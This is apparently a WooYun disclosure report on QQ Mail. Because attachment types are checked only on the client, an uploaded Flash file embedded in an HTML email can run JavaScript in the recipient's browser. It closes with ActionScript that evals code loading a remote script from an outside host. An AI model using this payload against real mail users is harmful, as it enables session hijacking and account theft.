WooYun.org

下面是漏洞利用过程！
1. 文件类型仅在客户端验证，当我在QQ邮箱上传图片附件的位置，上传一个FLASH文件时，会有以下提示！

2. 抓包分析，可以发现，出现该提示时，并没有任何数据请求，即是在客户端进行了判断！
3. 既然只在客户端做了判断，我们就自己上传其它类型文件试试（如何绕过客户端限制，这里就不多说了）。 结果：发现，除了图片之外，其它类型都可以上传。于是我们就上传一个自己的FLASH文件。

上传成功后的页面里，可以找到上传成功的FLASH文件地址。
4. 编写邮件，切换至HTML模式，写入以下内容
<embed src="刚才复制的FLASH文件地址" type="application/x-shockwave-flash"></embed>
<img src="刚才复制的FLASH文件地址"></img>
5. 发送邮件出去， 当对方点开邮件后， 效果如下（IE,chrome,FF下均有效）：

6. 由于<embed> 标记里没有 allowscriptaccess 和 allownetworking来控制FLASH的权限！所以通过flash来执行JS代码不会受到限制。
最后附上所用FLASH的AS代码：
package {
import flash.display.Sprite;
import flash.external.ExternalInterface;
public class QQmailTest extends Sprite
{
public function QQmailTest()
{
if(flash.external.ExternalInterface.available){
flash.external.ExternalInterface.call("eval","(function(){var s=document.createElement('script');s.type='text/javascript';s.src='http://www.toolmao.com/tool/qqmail.js';document.body.appendChild(s);})()");
}
}
}
}